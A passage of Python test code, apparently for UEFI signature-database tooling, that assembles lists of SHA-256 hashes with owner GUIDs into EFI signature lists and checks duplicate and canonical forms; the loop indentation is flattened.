('9BAF4F76D76BF5D6A897BFBD5F429BA14D04E08B48C3EE8D76930A828FFF3891', owner), ('9C259FCB301D5FC7397ED5759963E0EF6B36E42057FD73046E6BD08B149F751C', owner), ('9DD2DCB72F5E741627F2E9E03AB18503A3403CF6A904A479A4DB05D97E2250A9', owner), ('9ED33F0FBC180BC032F8909CA2C4AB3418EDC33A45A50D2521A3B5876AA3EA2C', owner), ('A4D978B7C4BDA15435D508F8B9592EC2A5ADFB12EA7BAD146A35ECB53094642F', owner), ('A924D3CAD6DA42B7399B96A095A06F18F6B1ABA5B873B0D5F3A0EE2173B48B6C', owner), ('AD3BE589C0474E97DE5BB2BF33534948B76BB80376DFDC58B1FED767B5A15BFC', owner), ('B8D6B5E7857B45830E017C7BE3D856ADEB97C7290EB0665A3D473A4BEB51DCF3', owner), ('B93F0699598F8B20FA0DACC12CFCFC1F2568793F6E779E04795E6D7C22530F75', owner), ('BB01DA0333BB639C7E1C806DB0561DC98A5316F22FEF1090FB8D0BE46DAE499A', owner), ('BC75F910FF320F5CB5999E66BBD4034F4AE537A42FDFEF35161C5348E366E216', owner), ('BDD01126E9D85710D3FE75AF1CC1702A29F081B4F6FDF6A2B2135C0297A9CEC5', owner), ('BE435DF7CD28AA2A7C8DB4FC8173475B77E5ABF392F76B7C76FA3F698CB71A9A', owner), ('BEF7663BE5EA4DBFD8686E24701E036F4C03FB7FCD67A6C566ED94CE09C44470', owner), ('C2469759C1947E14F4B65F72A9F5B3AF8B6F6E727B68BB0D91385CBF42176A8A', owner), ('C3505BF3EC10A51DACE417C76B8BD10939A065D1F34E75B8A3065EE31CC69B96', owner), ('C42D11C70CCF5E8CF3FB91FDF21D884021AD836CA68ADF2CBB7995C10BF588D4', owner), ('C452AB846073DF5ACE25CCA64D6B7A09D906308A1A65EB5240E3C4EBCAA9CC0C', owner), ('C69D64A5B839E41BA16742527E17056A18CE3C276FD26E34901A1BC7D0E32219', owner), ('CB340011AFEB0D74C4A588B36EBAA441961608E8D2FA80DCA8C13872C850796B', owner), ('CC8EEC6EB9212CBF897A5ACE7E8ABEECE1079F1A6DEF0A789591CB1547F1F084', owner), ('CF13A243C1CD2E3C8CEB7E70100387CECBFB830525BBF9D0B70C79ADF3E84128', owner), ('D89A11D16C488DD4FBBC541D4B07FAF8670D660994488FE54B1FBFF2704E4288', owner), ('D9668AB52785086786C134B5E4BDDBF72452813B6973229AB92AA1A54D201BF5', owner), ('DA3560FD0C32B54C83D4F2FF869003D2089369ACF2C89608F8AFA7436BFA4655', owner), ('DF02AAB48387A9E1D4C65228089CB6ABE196C8F4B396C7E4BBC395DE136977F6', owner), ('DF91AC85A94FCD0CFB8155BD7CBEFAAC14B8C5EE7397FE2CC85984459E2EA14E', owner), ('E051B788ECBAEDA53046C70E6AF6058F95222C046157B8C4C1B9C2CFC65F46E5', owner), ('E051B788ECBAEDA53046C70E6AF6058F95222C046157B8C4C1B9C2CFC65F46E5', owner), ('E36DFC719D2114C2E39AEA88849E2845AB326F6F7FE74E0E539B7E54D81F3631', owner), ('E39891F48BBCC593B8ED86CE82CE666FC1145B9FCBFD2B07BAD0A89BF4C7BFBF', owner), ('E6856F137F79992DC94FA2F43297EC32D2D9A76F7BE66114C6A13EFC3BCDF5C8', owner), ('EAFF8C85C208BA4D5B6B8046F5D6081747D779BADA7768E649D047FF9B1F660C', owner), ('EE83A566496109A74F6AC6E410DF00BB29A290E0021516AE3B8A23288E7E2E72', owner), ('EED7E0EFF2ED559E2A79EE361F9962AF3B1E999131E30BB7FD07546FAE0A7267', owner), ('F1B4F6513B0D544A688D13ADC291EFA8C59F420CA5DCB23E0B5A06FA7E0D083D', owner), ('F2A16D35B554694187A70D40CA682959F4F35C2CE0EAB8FD64F7AC2AB9F5C24A', owner), ('F31FD461C5E99510403FC97C1DA2D8A9CBE270597D32BADF8FD66B77495F8D94', owner), ('F48E6DD8718E953B60A24F2CBEA60A9521DEAE67DB25425B7D3ACE3C517DD9B7', owner), ('C805603C4FA038776E42F263C604B49D96840322E1922D5606A9B0BBB5BFFE6F', owner), ('1F16078CCE009DF62EDB9E7170E66CAAE670BCE71B8F92D38280C56AA372031D', owner), ('37A480374DAF6202CE790C318A2BB8AA3797311261160A8E30558B7DEA78C7A6', owner), ('408B8B3DF5ABB043521A493525023175AB1261B1DE21064D6BF247CE142153B9', owner), ('540801DD345DC1C33EF431B35BF4C0E68BD319B577B9ABE1A9CFF1CBC39F548F', owner)]
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_SHA256_GUID)
SignatureSize = EfiSignatureDataEfiCertSha256.STATIC_STRUCT_SIZE if newHashes else 0
Esl.AddSignatureHeader(SigHeader=None, SigSize=SignatureSize)
for entry in newHashes:
(hashStr, ownerGuidStr) = entry
hashBytes = bytes.fromhex(hashStr)
Esl.AddSignatureData(EfiSignatureDataEfiCertSha256(digest=hashBytes, sigowner=uuid.UUID(ownerGuidStr)))
newHash_esl = Esl
esd = EfiSignatureDatabase(EslList=[originalEsl, cert1_esl, cert2_esl, newHash_esl])
expected_dupes = [('47FF1B63B140B6FC04ED79131331E651DA5B2E2F170F5DAEF4153DC2FBC532B1', owner), ('992D359AA7A5F789D268B94C11B9485A6B1CE64362B0EDB4441CCC187C39647B', owner), ('C452AB846073DF5ACE25CCA64D6B7A09D906308A1A65EB5240E3C4EBCAA9CC0C', owner), ('E051B788ECBAEDA53046C70E6AF6058F95222C046157B8C4C1B9C2CFC65F46E5', owner)]
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_SHA256_GUID)
SignatureSize = EfiSignatureDataEfiCertSha256.STATIC_STRUCT_SIZE if expected_dupes else 0
Esl.AddSignatureHeader(SigHeader=None, SigSize=SignatureSize)
for entry in expected_dupes:
(hashStr, ownerGuidStr) = entry
hashBytes = bytes.fromhex(hashStr)
Esl.AddSignatureData(EfiSignatureDataEfiCertSha256(digest=hashBytes, sigowner=uuid.UUID(ownerGuidStr)))
expected_dupes_esl = Esl
expected_dupes_esd = EfiSignatureDatabase(EslList=[expected_dupes_esl])
canonicalHashes = [('0257FF710F2A16E489B37493C07604A7CDA96129D8A8FD68D2B6AF633904315D', owner), ('02E6216ACAEF6401401FA555ECBED940B1A5F2569AED92956137AE58482EF1B7', owner), ('03F64A29948A88BEFFDB035E0B09A7370CCF0CD9CE6BCF8E640C2107318FAB87', owner), ('05D87E15713454616F5B0ED7849AB5C1712AB84F02349478EC2A38F970C01489', owner), ('06EB5BADD26E4FAE65F9A42358DEEF7C18E52CC05FBB7FC76776E69D1B982A14', owner), ('075EEA060589548BA060B2FEED10DA3C20C7FE9B17CD026B94E8A683B8115238', owner), ('07E6C6A858646FB1EFC67903FE28B116011F2367FE92E6BE2B36999EFF39D09E', owner), ('08BB2289E9E91B4D20FF3F1562516AB07E979B2C6CEFE2AB70C6DFC1199F8DA5', owner), ('0928F0408BF725E61D67D87138A8EEBC52962D2847F16E3587163B160E41B6AD', owner), ('09DF5F4E511208EC78B96D12D08125FDB603868DE39F6F72927852599B659C26', owner), ('09F98AA90F85198C0D73F89BA77E87EC6F596C491350FB8F8BBA80A62FBB914B', owner), ('0A75EA0B1D70EAA4D3F374246DB54FC7B43E7F596A353309B9C36B4FD975725E', owner), ('0BBB4392DAAC7AB89B30A4AC657531B97BFAAB04F90B0DAFE5F9B6EB90A06374', owner), ('0C189339762DF336AB3DD006A463DF715A39CFB0F492465C600E6C6BD7BD898C', owner), ('0C51D7906FC4931149765DA88682426B2CFE9E6AA4F27253EAB400111432E3A7', owner), ('0CE02100F67C7EF85F4EED368F02BF7092380A3C23CA91FD7F19430D94B00C19', owner), ('0D0DBECA6F29ECA06F331A7D72E4884B12097FB348983A2A14A0D73F4F10140F', owner), ('0DC24C75EB1AEF56B9F13AB9DE60E2ECA1C4510034E290BBB36CF60A549B234C', owner), ('0DC9F3FB99962148C3CA833632758D3ED4FC8D0B0007B95B31E6528F2ACD5BFC', owner), ('0FA3A29AD05130D7FE5BF4D2596563CDED1D874096AACC181069932A2E49519A', owner), ('106FACEACFECFD4E303B74F480A08098E2D0802B936F8EC774CE21F31686689C', owner), ('10D45FCBA396AEF3153EE8F6ECAE58AFE8476A280A2026FC71F6217DCF49BA2F', owner), ('147730B42F11FE493FE902B6251E97CD2B6F34D36AF59330F11D02A42F940D07', owner), ('148FE18F715A9FCFE1A444CE0FFF7F85869EB422330DC04B314C0F295D6DA79E', owner), ('174E3A0B5B43C6A607BBD3404F05341E3DCF396267CE94F8B50E2E23A9DA920C', owner), ('18333429FF0562ED9F97033E1148DCEEE52DBE2E496D5410B5CFD6C864D2D10F', owner), ('1AEC84B84B6C65A51220A9BE7181965230210D62D6D33C48999C6B295A2B0A06', owner), ('1B909115A8D473E51328A87823BD621CE655DFAE54FA2BFA72FDC0298611D6B8', owner), ('1CB4DCCAF2C812CFA7B4938E1371FE2B96910FE407216FD95428672D6C7E7316', owner), ('1D8B58C1FDB8DA8B33CCEE1E5F973AF734D90EF317E33F5DB1573C2BA088A80C', owner), ('1F16078CCE009DF62EDB9E7170E66CAAE670BCE71B8F92D38280C56AA372031D', owner), ('1F179186EFDF5EF2DE018245BA0EAE8134868601BA0D35FF3D9865C1537CED93', owner), ('2679650FE341F2CF1EA883460B3556AAAF77A70D6B8DC484C9301D1B746CF7B5', owner), ('270C84B29D86F16312B06AAAE4EBB8DFF8DE7D080D825B8839FF1766274EFF47', owner), ('29C6EB52B43C3AA18B2CD8ED6EA8607CEF3CFAE1BAFE1165755CF2E614844A44', owner), ('29CCA4544EA330D61591C784695C149C6B040022AC7B5B89CBD72800D10840EA', owner), ('2B2298EAA26B9DC4A4558AE92E7BB0E4F85CF34BF848FDF636C0C11FBEC49897', owner), ('2B99CF26422E92FE365FBF4BC30D27086C9EE14B7A6FFF44FB2F6B9001699939', owner), ('2BBF2CA7B8F1D91F27EE52B6FB2A5DD049B85A2B9B529C5D6662068104B055F8', owner), ('2C73D93325BA6DCBE589D4A4C63C5B935559EF92FBF050ED50C4E2085206F17D', owner), ('2DCF8E8D817023D1E8E1451A3D68D6EC30D9BED94CBCB87F19DDC1CC0116AC1A', owner), ('2E70916786A6F773511FA7181FAB0F1D70B557C6322EA923B2A8D3B92B51AF7D', owner), ('306628FA5477305728BA4A467DE7D0387A54F569D3769FCE5E75EC89D28D1593', owner), ('311A2AC55B50C09B30B3CC93B994A119153EEEAC54EF892FC447BBBD96101AA1', owner), ('32AD3296829BC46DCFAC5EDDCB9DBF2C1EED5C11F83B2210CF9C6E60C798D4A7', owner), ('32F5940CA29DD812A2C145E6FC89646628FFCC7C7A42CAE512337D8D29C40BBD', owner), ('340DA32B58331C8E2B561BAF300CA9DFD6B91CD2270EE0E2A34958B1C6259E85', owner), ('3608EDBAF5AD0F41A414A1777ABF2FAF5E670334675EC3995E6935829E0CAAD2', owner), ('362ED31D20B1E00392281231A96F0A0ACFDE02618953E695C9EF2EB0BAC37550', owner), ('363384D14D1F2E0B7815626484C459AD57A318EF4396266048D058C5A19BBF76', owner), ('367A31E5838831AD2C074647886A6CDFF217E6B1BA910BFF85DC7A87AE9B5E98', owner), ('3765D769C05BF98B427B3511903B2137E8A49B6F859D0AF159ED6A86786AA634', owner), ('37A480374DAF6202CE790C318A2BB8AA3797311261160A8E30558B7DEA78C7A6', owner), ('3841D221368D1583D75C0A02E62160394D6C4E0A6760B6F607B90362BC855B02', owner), ('386D695CDF2D4576E01BCACCF5E49E78DA51AF9955C0B8FA7606373B007994B3', owner), ('39DBC2288EF44B5F95332CB777E31103E840DBA680634AA806F5C9B100061802', owner), ('3A4F74BEAFAE2B9383AD8215D233A6CF3D057FB3C7E213E897BEEF4255FAEE9D', owner), ('3A91F0F9E5287FA2994C7D930B2C1A5EE14CE8E1C8304AE495ADC58CC4453C0C', owner), ('3AE76C45CA70E9180C1559981F42622DD251BCA1FBE6B901C52EC11673B03514', owner), ('3B0287533E0CC3D0EC1AA823CBF0A941AAD8721579D1C499802DD1C3A636B8A9', owner), ('3BE8E7EB348D35C1928F19C769846788991641D1F6CF09514CA10269934F7359', owner), ('3E3926F0B8A15AD5A14167BB647A843C3D4321E35DBC44DCE8C837417F2D28B0', owner), ('3ECE27CBB3EC4438CCE523B927C4F05FDC5C593A3766DB984C5E437A3FF6A16B', owner), ('3FCE9B9FDF3EF09D5452B0F95EE481C2B7F06D743A737971558E70136ACE3E73', owner), ('400AC66D59B7B094A9E30B01A6BD013AFF1D30570F83E7592F421DBE5FF4BA8F', owner), ('408B8B3DF5ABB043521A493525023175AB1261B1DE21064D6BF247CE142153B9', owner), ('4185821F6DAB5BA8347B78A22B5F9A0A7570CA5C93A74D478A793D83BAC49805', owner), ('41D1EEB177C0324E17DD6557F384E532DE0CF51A019A446B01EFB351BC259D77', owner), ('4397DACA839E7F63077CB50C92DF43BC2D2FB2A8F59F26FC7A0E4BD4D9751692', owner), ('45876B4DD861D45B3A94800774027A5DB45A48B2A729410908B6412F8A87E95D', owner), ('45C7C8AE750ACFBB48FC37527D6412DD644DAED8913CCD8A24C94D856967DF8E', owner), ('4667BF250CD7C1A06B8474C613CDB1DF648A7F58736FBF57D05D6F755DAB67F4', owner), ('47CC086127E2069A86E03A6BEF2CD410F8C55A6D6BDB362168C31B2CE32A5ADF', owner), ('47FF1B63B140B6FC04ED79131331E651DA5B2E2F170F5DAEF4153DC2FBC532B1', owner), ('495300790E6C9BF2510DABA59DB3D57E9D2B85D7D7640434EC75BAA3851C74E5', owner), ('4B8668A5D465BCDD9000AA8DFCFF42044FCBD0AECE32FC7011A83E9160E89F09', owner), ('518831FE7382B514D03E15C621228B8AB65479BD0CBFA3C5C1D0F48D9C306135', owner), ('5391C3A2FB112102A6AA1EDC25AE77E19F5D6F09CD09EEB2509922BFCD5992EA', owner), ('540801DD345DC1C33EF431B35BF4C0E68BD319B577B9ABE1A9CFF1CBC39F548F', owner), ('55B99B0DE53DBCFE485AA9C737CF3FB616EF3D91FAB599AA7CAB19EDA763B5BA', owner), ('57E6913AFACC5222BD76CDAF31F8ED88895464255374EF097A82D7F59AD39596', owner), ('5890FA227121C76D90ED9E63C87E3A6533EEA0F6F0A1A23F1FC445139BC6BCDF', owner), ('58FB941AEF95A25943B3FB5F2510A0DF3FE44C58C95E0AB80487297568AB9771', owner), ('5AE949EA8855EB93E439DBC65BDA2E42852C2FDF6789FA146736E3C3410F2B5C', owner), ('5B248E913D71853D3DA5AEDD8D9A4BC57A917126573817FB5FCB2D86A2F1C886', owner), ('5C5805196A85E93789457017D4F9EB6828B97C41CB9BA6D3DC1FCC115F527A55', owner), ('5D1E9ACBBB4A7D024B6852DF025970E2CED66FF622EE019CD0ED7FD841CCAD02', owner), ('61341E07697978220EA61E85DCD2421343F2C1BF35CC5B8D0AD2F0226F391479', owner), ('61CEC4A377BF5902C0FEAEE37034BF97D5BC6E0615E23A1CDFBAE6E3F5FB3CFD', owner), ('631F0857B41845362C90C6980B4B10C4B628E23DBE24B6E96C128AE3DCB0D5AC', owner), ('64575BD912789A2E14AD56F6341F52AF6BF80CF94400785975E9F04E2D64D745', owner), ('65B2E7CC18D903C331DF1152DF73CA0DC932D29F17997481C56F3087B2DD3147', owner), ('65F3C0A01B8402D362B9722E98F75E5E991E6C186E934F7B2B2E6BE6DEC800EC', owner), ('66AA13A0EDC219384D9C425D3927E6ED4A5D1940C5E7CD4DAC88F5770103F2F1', owner), ('6873D2F61C29BD52E954EEFF5977AA8367439997811A62FF212C948133C68D97', owner), ('68EE4632C7BE1C66C83E89DD93EAEE1294159ABF45B4C2C72D7DC7499AA2A043', owner), ('6B1D138078E4418AA68DEB7BB35E066092CF479EEB8CE4CD12E7D072CCB42F66', owner), ('6C8854478DD559E29351B826C06CB8BFEF2B94AD3538358772D193F82ED1CA11', owner), ('6DBBEAD23E8C860CF8B47F74FBFCA5204DE3E28B881313BB1D1ECCDC4747934E', owner), ('6DEAD13257DFC3CCC6A4B37016BA91755FE9E0EC1F415030942E5ABC47F07C88', owner), ('6EFEFE0B5B01478B7B944C10D3A8ACA2CCA4208888E2059F8A06CB5824D7BAB0', owner), ('6F1428FF71C9DB0ED5AF1F2E7BBFCBAB647CC265DDF5B293CDB626F50A3A785E', owner), ('70A1450AF2AD395569AD0AFEB1D9C125324EE90AEC39C258880134D4892D51AB', owner), ('71F2906FD222497E54A34662AB2497FCC81020770FF51368E9E3D9BFCBFD6375', owner), ('726B3EB654046A30F3F83D9B96CE03F670E9A806D1708A0371E62DC49D2C23C1', owner), ('72C26F827CEB92989798961BC6AE748D141E05D3EBCFB65D9041B266C920BE82', owner), ('72E0BD1867CF5D9D56AB158ADF3BDDBC82BF32A8D8AA1D8C5E2F6DF29428D6D8', owner), ('77DD190FA30D88FF5E3B011A0AE61E6209780C130B535ECB87E6F0888A0B6B2F', owner), ('781764102188A8B4B173D4A8F5EC94D828647156097F99357A581E624B377509', owner), ('7827AF99362CFAF0717DADE4B1BFE0438AD171C15ADDC248B75BF8CAA44BB2C5', owner), ('788383A4C733BB87D2BF51673DC73E92DF15AB7D51DC715627AE77686D8D23BC', owner), ('78B4EDCAABC8D9093E20E217802CAEB4F09E23A3394C4ACC6E87E8F35395310F', owner), ('7BC9CB5463CE0F011FB5085EB8BA77D1ACD283C43F4A57603CC113F22CEBC579', owner), ('7EAC80A915C84CD4AFEC638904D94EB168A8557951A4D539B0713028552B6B8C', owner), ('7F49CCB309323B1C7AB11C93C955B8C744F0A2B75C311F495E18906070500027', owner), ('804E354C6368BB27A90FAE8E498A57052B293418259A019C4F53A2007254490F', owner), ('80B4D96931BF0D02FD91A61E19D14F1DA452E66DB2408CA8604D411F92659F0A', owner), ('81A8B2C9751AEB1FABA7DBDE5EE9691DC0EAEE2A31C38B1491A8146756A6B770', owner), ('81A8B965BB84D3876B9429A95481CC955318CFAA1412D808C8A33BFD33FFF0E4', owner), ('81D8FB4C9E2E7A8225656B4B8273B7CBA4B03EF2E9EB20E0A0291624ECA1BA86', owner), ('82ACBA48D5236CCFF7659AFC14594DEE902BD6082EF1A30A0B9B508628CF34F4', owner), ('82DB3BCEB4F60843CE9D97C3D187CD9B5941CD3DE8100E586F2BDA5637575F67', owner), ('835881F2A5572D7059B5C8635018552892E945626F115FC9CA07ACF7BDE857A4', owner), ('894D7839368F3298CC915AE8742EF330D7A26699F459478CF22C2B6BB2850166', owner), ('895A9785F617CA1D7ED44FC1A1470B71F3F1223862D9FF9DCC3AE2DF92163DAF', owner), ('89F3D1F6E485C334CD059D0995E3CDFDC00571B1849854847A44DC5548E2DCFB', owner), ('8AD64859F195B5F58DAFAA940B6A6167ACD67A886E8F469364177221C55945B9', owner), ('8BF434B49E00CCF71502A2CD900865CB01EC3B3DA03C35BE505FDF7BD563F521', owner), ('8C0349D708571AE5AA21C11363482332073297D868F29058916529EFC520EF70', owner), ('8D8EA289CFE70A1C07AB7365CB28EE51EDD33CF2506DE888FBADD60EBF80481C', owner), ('8D93D60C691959651476E5DC464BE12A85FA5280B6F524D4A1C3FCC9D048CFAD', owner), ('8E53EFDC15F852CEE5A6E92931BC42E6163CD30FF649CCA7E87252C3A459960B', owner), ('9063F5FBC5E57AB6DE6C9488146020E172B176D5AB57D4C89F0F600E17FE2DE2', owner), ('90FBE70E69D633408D3E170C6832DBB2D209E0272527DFB63D49D29572A6F44C', owner), ('91656AA4EF493B3824A0B7263248E4E2D657A5C8488D880CB65B01730932FB53', owner), ('91971C1497BF8E5BC68439ACC48D63EBB8FAABFD764DCBE82F3BA977CAC8CF6A', owner), ('939AEEF4F5FA51E23340C3F2E49048CE8872526AFDF752C3A7F3A3F2BC9F6049', owner), ('947078F97C6196968C3AE99C9A5D58667E86882CF6C8C9D58967A496BB7AF43C', owner), ('95049F0E4137C790B0D2767195E56F73807D123ADCF8F6E7BF2D4D991D305F89', owner), ('96E4509450D380DAC362FF8E295589128A1F1CE55885D20D89C27BA2A9D00909', owner), ('9783B5EE4492E9E891C655F1F48035959DAD453C0E623AF0FE7BF2C0A57885E3', owner), ('97A51A094444620DF38CD8C6512CAC909A75FD437AE1E4D22929807661238127', owner), ('97A8C5BA11D61FEFBB5D6A05DA4E15BA472DC4C6CD4972FC1A035DE321342FE4', owner), ('992820E6EC8C41DAAE4BD8AB48F58268E943A670D35CA5E2BDCD3E7C4C94A072', owner), ('992D359AA7A5F789D268B94C11B9485A6B1CE64362B0EDB4441CCC187C39647B', owner), ('9954A1A99D55E8B189AB1BCA414B91F6A017191F6C40A86B6F3EF368DD860031', owner), ('9998D363C491BE16BD74BA10B94D9291001611736FDCA643A36664BC0F315A42', owner), ('9BAF4F76D76BF5D6A897BFBD5F429BA14D04E08B48C3EE8D76930A828FFF3891', owner), ('9C259FCB301D5FC7397ED5759963E0EF6B36E42057FD73046E6BD08B149F751C', owner), ('9D00AE4CD47A41C783DC48F342C076C2C16F3413F4D2DF50D181CA3BB5AD859D', owner), ('9DD2DCB72F5E741627F2E9E03AB18503A3403CF6A904A479A4DB05D97E2250A9', owner), ('9E4A69173161682E55FDE8FEF560EB88EC1FFEDCAF04001F66C0CAF707B2B734', owner), ('9ED33F0FBC180BC032F8909CA2C4AB3418EDC33A45A50D2521A3B5876AA3EA2C', owner), ('9F1863ED5717C394B42EF10A6607B144A65BA11FB6579DF94B8EB2F0C4CD60C1', owner), ('9FA4D5023FD43ECAFF4200BA7E8D4353259D2B7E5E72B5096EFF8027D66D1043', owner), ('A4D978B7C4BDA15435D508F8B9592EC2A5ADFB12EA7BAD146A35ECB53094642F', owner), ('A6B5151F3655D3A2AF0D472759796BE4A4200E5495A7D869754C4848857408A7', owner), ('A7F32F508D4EB0FEAD9A087EF94ED1BA0AEC5DE6F7EF6FF0A62B93BEDF5D458D', owner), ('A924D3CAD6DA42B7399B96A095A06F18F6B1ABA5B873B0D5F3A0EE2173B48B6C', owner), ('AD3BE589C0474E97DE5BB2BF33534948B76BB80376DFDC58B1FED767B5A15BFC', owner), ('AD6826E1946D26D3EAF3685C88D97D85DE3B4DCB3D0EE2AE81C70560D13C5720', owner), ('AEEBAE3151271273ED95AA2E671139ED31A98567303A332298F83709A9D55AA1', owner), ('AFE2030AFB7D2CDA13F9FA333A02E34F6751AFEC11B010DBCD441FDF4C4002B3', owner), ('B3E506340FBF6B5786973393079F24B66BA46507E35E911DB0362A2ACDE97049', owner), ('B54F1EE636631FAD68058D3B0937031AC1B90CCB17062A391CCA68AFDBE40D55', owner), ('B8D6B5E7857B45830E017C7BE3D856ADEB97C7290EB0665A3D473A4BEB51DCF3', owner), ('B8F078D983A24AC433216393883514CD932C33AF18E7DD70884C8235F4275736', owner), ('B92AF298DC08049B78C77492D6551B710CD72AADA3D77BE54609E43278EF6E4D', owner), ('B93F0699598F8B20FA0DACC12CFCFC1F2568793F6E779E04795E6D7C22530F75', owner), ('B97A0889059C035FF1D54B6DB53B11B9766668D9F955247C028B2837D7A04CD9', owner), ('BADFF5E4F0FEA711701CA8FB22E4C43821E31E210CF52D1D4F74DD50F1D039BC', owner), ('BB01DA0333BB639C7E1C806DB0561DC98A5316F22FEF1090FB8D0BE46DAE499A', owner), ('BB1DD16D530008636F232303A7A86F3DFF969F848815C0574B12C2D787FEC93F', owner), ('BC75F910FF320F5CB5999E66BBD4034F4AE537A42FDFEF35161C5348E366E216', owner), ('BC87A668E81966489CB508EE805183C19E6ACD24CF17799CA062D2E384DA0EA7', owner), ('BDD01126E9D85710D3FE75AF1CC1702A29F081B4F6FDF6A2B2135C0297A9CEC5', owner), ('BE435DF7CD28AA2A7C8DB4FC8173475B77E5ABF392F76B7C76FA3F698CB71A9A', owner), ('BEF7663BE5EA4DBFD8686E24701E036F4C03FB7FCD67A6C566ED94CE09C44470', owner), ('C2469759C1947E14F4B65F72A9F5B3AF8B6F6E727B68BB0D91385CBF42176A8A', owner), ('C3505BF3EC10A51DACE417C76B8BD10939A065D1F34E75B8A3065EE31CC69B96', owner), ('C3A99A460DA464A057C3586D83CEF5F4AE08B7103979ED8932742DF0ED530C66', owner), ('C409BDAC4775ADD8DB92AA22B5B718FB8C94A1462C1FE9A416B95D8A3388C2FC', owner), ('C42D11C70CCF5E8CF3FB91FDF21D884021AD836CA68ADF2CBB7995C10BF588D4', owner), ('C452AB846073DF5ACE25CCA64D6B7A09D906308A1A65EB5240E3C4EBCAA9CC0C', owner), ('C5D9D8A186E2C82D09AFAA2A6F7F2E73870D3E64F72C4E08EF67796A840F0FBD', owner), ('C617C1A8B1EE2A811C28B5A81B4C83D7C98B5B0C27281D610207EBE692C2967F', owner), ('C69D64A5B839E41BA16742527E17056A18CE3C276FD26E34901A1BC7D0E32219', owner), ('C805603C4FA038776E42F263C604B49D96840322E1922D5606A9B0BBB5BFFE6F', owner), ('C83CB13922AD99F560744675DD37CC94DCAD5A1FCBA6472FEE341171D939E884', owner), ('C90F336617B8E7F983975413C997F10B73EB267FD8A10CB9E3BDBFC667ABDB8B', owner), ('C9EC350406F26E559AFFB4030DE2EBDE5435054C35A998605B8FCF04972D8D55', owner), ('CA171D614A8D7E121C93948CD0FE55D39981F9D11AA96E03450A415227C2C65B', owner), ('CB340011AFEB0D74C4A588B36EBAA441961608E8D2FA80DCA8C13872C850796B', owner), ('CB6B858B40D3A098765815B592C1514A49604FAFD60819DA88D7A76E9778FEF7', owner), ('CC8EEC6EB9212CBF897A5ACE7E8ABEECE1079F1A6DEF0A789591CB1547F1F084', owner), ('CE3BFABE59D67CE8AC8DFD4A16F7C43EF9C224513FBC655957D735FA29F540CE', owner), ('CF13A243C1CD2E3C8CEB7E70100387CECBFB830525BBF9D0B70C79ADF3E84128', owner), ('D063EC28F67EBA53F1642DBF7DFF33C6A32ADD869F6013FE162E2C32F1CBE56D', owner), ('D372C0D0F4FDC9F52E9E1F23FC56EE72414A17F350D0CEA6C26A35A6C3217A13', owner), ('D626157E1D6A718BC124AB8DA27CBB65072CA03A7B6B257DBDCBBD60F65EF3D1', owner), ('D89A11D16C488DD4FBBC541D4B07FAF8670D660994488FE54B1FBFF2704E4288', owner), ('D8CBEB9735F5672B367E4F96CDC74969615D17074AE96C724D42CE0216F8F3FA', owner), ('D8D4E6DDF6E42D74A6A536EA62FD1217E4290B145C9E5C3695A31B42EFB5F5A4', owner), ('D9668AB52785086786C134B5E4BDDBF72452813B6973229AB92AA1A54D201BF5', owner), ('DA3560FD0C32B54C83D4F2FF869003D2089369ACF2C89608F8AFA7436BFA4655', owner), ('DBAF9E056D3D5B38B68553304ABC88827EBC00F80CB9C7E197CDBC5822CD316C', owner), ('DCCC3CE1C00EE4B0B10487D372A0FA47F5C26F57A359BE7B27801E144EACBAC4', owner), ('DD59AF56084406E38C63FBE0850F30A0CD1277462A2192590FB05BC259E61273', owner), ('DF02AAB48387A9E1D4C65228089CB6ABE196C8F4B396C7E4BBC395DE136977F6', owner), ('DF91AC85A94FCD0CFB8155BD7CBEFAAC14B8C5EE7397FE2CC85984459E2EA14E', owner), ('E051B788ECBAEDA53046C70E6AF6058F95222C046157B8C4C1B9C2CFC65F46E5', owner), ('E19DAE83C02E6F281358D4EBD11D7723B4F5EA0E357907D5443DECC5F93C1E9D', owner), ('E24B315A551671483D8B9073B32DE11B4DE1EB2EAB211AFD2D9C319FF55E08D0', owner), ('E36DFC719D2114C2E39AEA88849E2845AB326F6F7FE74E0E539B7E54D81F3631', owner), ('E39891F48BBCC593B8ED86CE82CE666FC1145B9FCBFD2B07BAD0A89BF4C7BFBF', owner), ('E6856F137F79992DC94FA2F43297EC32D2D9A76F7BE66114C6A13EFC3BCDF5C8', owner), ('E6CA68E94146629AF03F69C2F86E6BEF62F930B37C6FBCC878B78DF98C0334E5', owner), ('E7681F153121EA1E67F74BBCB0CDC5E502702C1B8CC55FB65D702DFBA948B5F4', owner), ('E7C20B3AB481EC885501ECA5293781D84B5A1AC24F88266B5270E7ECB4AA2538', owner), ('E800395DBE0E045781E8005178B4BAF5A257F06E159121A67C595F6AE22506FD', owner), ('E92C22EB3B5642D65C1EC2CAF247D2594738EEBB7FB3841A44956F59E2B0D1FA', owner), ('EAFF8C85C208BA4D5B6B8046F5D6081747D779BADA7768E649D047FF9B1F660C', owner), ('EE83A566496109A74F6AC6E410DF00BB29A290E0021516AE3B8A23288E7E2E72', owner), ('EED7E0EFF2ED559E2A79EE361F9962AF3B1E999131E30BB7FD07546FAE0A7267', owner), ('F1863EC8B7F43F94AD14FB0B8B4A69497A8C65ECBC2A55E0BB420E772B8CDC91', owner), ('F1B4F6513B0D544A688D13ADC291EFA8C59F420CA5DCB23E0B5A06FA7E0D083D', owner), ('F277AF4F9BDC918AE89FA35CC1B34E34984C04AE9765322C3CB049574D36509C', owner), ('F2A16D35B554694187A70D40CA682959F4F35C2CE0EAB8FD64F7AC2AB9F5C24A', owner), ('F31FD461C5E99510403FC97C1DA2D8A9CBE270597D32BADF8FD66B77495F8D94', owner), ('F48E6DD8718E953B60A24F2CBEA60A9521DEAE67DB25425B7D3ACE3C517DD9B7', owner), ('F52F83A3FA9CFBD6920F722824DBE4034534D25B8507246B3B957DAC6E1BCE7A', owner), ('FDDD6E3D29EA84C7743DAD4A1BDBC700B5FEC1B391F932409086ACC71DD6DBD8', owner), ('FE63A84F782CC9D3FCF2CCF9FC11FBD03760878758D26285ED12669BDC6E6D01', owner), ('FECFB232D12E994B6D485D2C7167728AA5525984AD5CA61E7516221F079A1436', owner)]
Esl = EfiSignatureList(typeguid=EfiSignatureDataFactory.EFI_CERT_SHA256_GUID)
SignatureSize = EfiSignatureDataEfiCertSha256.STATIC_STRUCT_SIZE if canonicalHashes else 0
Esl.AddSignatureHeader(SigHeader=None, SigSize=SignatureSize)
for entry in canonicalHashes:
(hashStr, ownerGuidStr) = entry
